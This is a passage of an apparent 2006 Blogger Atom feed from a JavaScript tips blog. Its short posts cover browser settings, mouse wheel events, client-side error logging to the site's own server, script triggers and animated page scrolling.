/&gt;                    &lt;li&gt;Click &lt;strong&gt;Reload&lt;/strong&gt; to reshow the current page.&lt;/li&gt;&lt;br /&gt;                &lt;/ol&gt;&lt;br /&gt;            &lt;/li&gt;&lt;br /&gt;        &lt;/ul&gt;&lt;br /&gt;    &lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;p&gt;&lt;span style="font-size:10pt;"&gt;Tags:&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/javascript"&gt;&lt;span style="font-size:10pt;"&gt;javascript&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/javascript+enable"&gt;&lt;span style="font-size:10pt;"&gt;javascript enable&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/browsers"&gt;&lt;span style="font-size:10pt;"&gt;browsers&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/IE"&gt;&lt;span style="font-size:10pt;"&gt;IE&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/firefox"&gt;&lt;span style="font-size:10pt;"&gt;firefox&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/macintosh"&gt;&lt;span style="font-size:10pt;"&gt;macintosh&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/netscape"&gt;&lt;span style="font-size:10pt;"&gt;netscape&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/help"&gt;&lt;span style="font-size:10pt;"&gt;help&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/enable+javascript"&gt;&lt;span style="font-size:10pt;"&gt;enable javascript&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/preferences"&gt;&lt;span style="font-size:10pt;"&gt;preferences&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/scripts"&gt;&lt;span style="font-size:10pt;"&gt;scripts&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size:10pt;"&gt;,&lt;/span&gt; &lt;a rel="tag" href="http://technorati.com/tag/settings"&gt;&lt;span style="font-size:10pt;"&gt;settings&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115694483457980202?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115694483457980202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115694483457980202' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115694483457980202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115694483457980202'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/how-to-enable-javascript-in-different.html' title='How to enable JavaScript in different browsers'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115617045445226624</id><published>2006-08-21T07:27:00.000-07:00</published><updated>2006-08-21T07:27:34.456-07:00</updated><title type='text'>CSS Properties To JavaScript Reference Conversion</title><content type='html'>&lt;p&gt;I recently came across a &lt;a href="http://codepunk.hardwar.org.uk/css2js.htm"&gt;site&lt;/a&gt; which compares CSS properties to javascript reference. It tables up all the different css properties and its conversion in javascript reference. It is a good to have link for a quick reference while programming.&lt;br /&gt;&lt;br /&gt;&lt;small&gt;Tags: &lt;a rel="tag" href="http://technorati.com/tag/css+properties"&gt;css properties&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/css+to+javascript"&gt;css to javascript&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115617045445226624?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115617045445226624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115617045445226624' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115617045445226624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115617045445226624'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/css-properties-to-javascript-reference.html' title='CSS Properties To JavaScript Reference Conversion'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115617008729631986</id><published>2006-08-21T07:21:00.000-07:00</published><updated>2006-08-21T07:21:27.303-07:00</updated><title type='text'>Mouse wheel programming in JavaScript</title><content type='html'>&lt;p&gt;Web applications are becoming more and more like “normal” desktop applications. Of course, they are more and more functional, but smooth user interface acts the primary role. So we have drag and drop, auto completion, and much more. Many of those nice features got possible only with help of AJAX. &lt;br /&gt;          &lt;a href="http://adomas.org/javascript-mouse-wheel/"&gt;This page&lt;/a&gt;, however, is not about AJAX (or any other buzzword). It is about rather simple user input method -- mouse wheel. I believe it would now be difficult to find a mouse without wheel. Vast majority of users are used to the wheel as a control for scrolling in lists, zooming etc. Rather few web applications, however, make &lt;em&gt;smart&lt;/em&gt; use of mouse wheel. This page is to provide you with general information about handling mouse wheel-generated events in JavaScript programming language. &lt;br /&gt;         &lt;a href="http://adomas.org/javascript-mouse-wheel/"&gt;This page&lt;/a&gt; has annotated javascript code, which should explain the magic behind mouse wheel generated events.&lt;br /&gt;&lt;br /&gt;&lt;small&gt;Tags: &lt;a rel="tag" href="http://technorati.com/tag/wheel+programming"&gt;wheel programming&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/AJAX"&gt;AJAX&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115617008729631986?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115617008729631986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115617008729631986' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115617008729631986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115617008729631986'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/mouse-wheel-programming-in-javascript.html' title='Mouse wheel programming in JavaScript'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115616989417798142</id><published>2006-08-21T07:18:00.000-07:00</published><updated>2006-08-21T07:18:16.893-07:00</updated><title type='text'>Javascript error logging with AJAX</title><content type='html'>&lt;p&gt;You spent days and nights making your javascript perfect but still users complains about errors. There is a way of making the debugging process a little less painful by logging javascript errors. Every javascript error can be trapped in the window.onerror event. We can return true or false so we can choose if the user shall see the normal javascript error dialog. This script will, in the very unlikely event of a javascript error, gather information about the error and send a httprequest to a page which will log the javascript error to the database.&lt;br /&gt;&lt;br /&gt;&lt;em&gt;&lt;span style="BACKGROUND-COLOR: #ffffff; color:#339966;"&gt;function doError(msg,url,ln) {&lt;br /&gt;    var strValues = &amp;quot;errMsg=&amp;quot; + escape(msg);&lt;br /&gt;    strValues += &amp;quot;&amp;amp;errLine=&amp;quot; + ln;&lt;br /&gt;    strValues += &amp;quot;&amp;amp;queryString=&amp;quot; + escape(location.search);&lt;br /&gt;    strValues += &amp;quot;&amp;amp;Url=&amp;quot; + escape(location.pathname);&lt;br /&gt;    strValues += &amp;quot;&amp;amp;HTTPRef=&amp;quot; + escape(document.referrer);&lt;br /&gt;&lt;br /&gt;    if (typeof XMLHttpRequest != &amp;quot;object&amp;quot;) {&lt;br /&gt;        function XMLHttpRequest() {&lt;br /&gt;            return new ActiveXObject(&amp;quot;Microsoft.XMLHTTP&amp;quot;);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    var objSave = new XMLHttpRequest();&lt;br /&gt;    objSave.open(&amp;quot;GET&amp;quot;, &amp;quot;/errorSave/?&amp;quot; + strValues, false);&lt;br /&gt;    objSave.send(&amp;quot;&amp;quot;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;try {&lt;br /&gt;    window.onerror = doError;&lt;br /&gt;}&lt;br /&gt;catch(er) {} &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;More information at &lt;a href="http://sleepyhead81.blogspot.com/2005/08/javascript-error-logging-with-ajax.html" target="_self"&gt;this post&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tags: &lt;a rel="tag" href="http://technorati.com/tag/AJAX"&gt;AJAX&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/JavaScript"&gt;JavaScript&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115616989417798142?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115616989417798142/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115616989417798142' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115616989417798142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115616989417798142'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/javascript-error-logging-with-ajax.html' title='Javascript error logging with AJAX'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115581626931114455</id><published>2006-08-17T05:04:00.000-07:00</published><updated>2006-08-17T05:04:29.333-07:00</updated><title type='text'>Javascript Triggers</title><content type='html'>&lt;p&gt;The front end of a website consists of three layers. XHTML forms the structural layer, which contains structural, semantic markup and the content of the site. To this layer you can add a presentation layer (CSS) and a behavior layer (JavaScript) to make your website more beautiful and user-friendly. These three layers should remain strictly separate. For instance, it should be possible to rewrite the entire presentation layer without touching either the structural or the behavior layer.&lt;br /&gt;        Despite this strict separation, the presentation and behavior layers need instructions from the structural layer. They must know where to add that touch of style, when to initiate that smooth bit of behavior. They need triggers.&lt;br /&gt;        CSS triggers are well known. The &lt;code&gt;class&lt;/code&gt; and &lt;code&gt;id&lt;/code&gt; attributes allow you to fully control the presentation of your websites. Although it is possible to work without these triggers, by putting the instructions in inline &lt;code&gt;style&lt;/code&gt; attributes, this method of coding is deprecated. If you want to redefine your site’s presentation while using them you’re forced to change the XHTML structural layer, too; their presence violates the separation of presentation and structure. Read more on &lt;a href="http://alistapart.com/articles/scripttriggers/"&gt;Javascript Triggers at this post&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;small&gt;Tags: &lt;a rel="tag" href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/javascript+triggers"&gt;javascript triggers&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/css"&gt;css&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/xhtml"&gt;xhtml&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/website"&gt;website&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/trigger"&gt;trigger&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115581626931114455?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115581626931114455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115581626931114455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115581626931114455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115581626931114455'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/javascript-triggers.html' title='Javascript Triggers'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115572519781165385</id><published>2006-08-16T03:46:00.000-07:00</published><updated>2006-08-16T03:46:37.816-07:00</updated><title type='text'>Animated Page Scrolling with Javascript</title><content type='html'>&lt;p&gt;It might seem like nothing but eye candy, but it can be a great way to lead a user around a page while still giving them some context as to where they are. Clicking on an anchor link that jumps straight to another part of the page can be jarring and disorienting. Animating the scroll shows clearly where they came from and how to get back there. It's also a great example of how to create private methods and members in Javascript objects. See the code in action on the &lt;a href="http://techfoolery.com/examples/scroller/?PHPSESSID=18cd76a26c481be8fb7a78d7e74a822f"&gt;example page&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;The fundamental idea is simple: using &lt;code&gt;window.scrollTo(x, y)&lt;/code&gt;, it's possible to jump the scroll bar to any point on the page. If we were to jump a couple of pixels at a time, over 2 or 3 seconds, it would look like the window was being scrolled through. Couple that with some functions that find all links to an anchor on a page (&lt;code&gt;#home&lt;/code&gt;, &lt;code&gt;#end&lt;/code&gt;, etc.) and attach an &lt;code&gt;onclick&lt;/code&gt; event to them, and you have a flashy effect that degrades gracefully on browsers that don't have Javascript enabled. Non-JS users still get the normal anchor links, and everyone else gets the scrolling animation. &lt;a href="http://techfoolery.com/archives/2006/08/11/2021/" target="_self"&gt;Read more&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;small&gt;Tags: &lt;a rel="tag" href="http://technorati.com/tag/Anchor+link"&gt;Anchor link&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/javascript+object"&gt;javascript object&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/scroll+bar"&gt;scroll bar&lt;/a&gt;, &lt;a rel="tag" href="http://technorati.com/tag/animation"&gt;animation&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115572519781165385?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115572519781165385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115572519781165385' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115572519781165385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115572519781165385'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/animated-page-scrolling-with.html' title='Animated Page Scrolling with Javascript'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32556551.post-115529048322215393</id><published>2006-08-11T03:00:00.000-07:00</published><updated>2006-08-11T03:01:23.226-07:00</updated><title type='text'>My First Post</title><content type='html'>function firstpost()&lt;br /&gt;  {&lt;br /&gt;       alert("Hello World...");&lt;br /&gt;  }&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32556551-115529048322215393?l=javascriptmagic.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://javascriptmagic.blogspot.com/feeds/115529048322215393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32556551&amp;postID=115529048322215393' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115529048322215393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32556551/posts/default/115529048322215393'/><link rel='alternate' type='text/html' href='http://javascriptmagic.blogspot.com/2006/08/my-first-post.html' title='My First Post'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
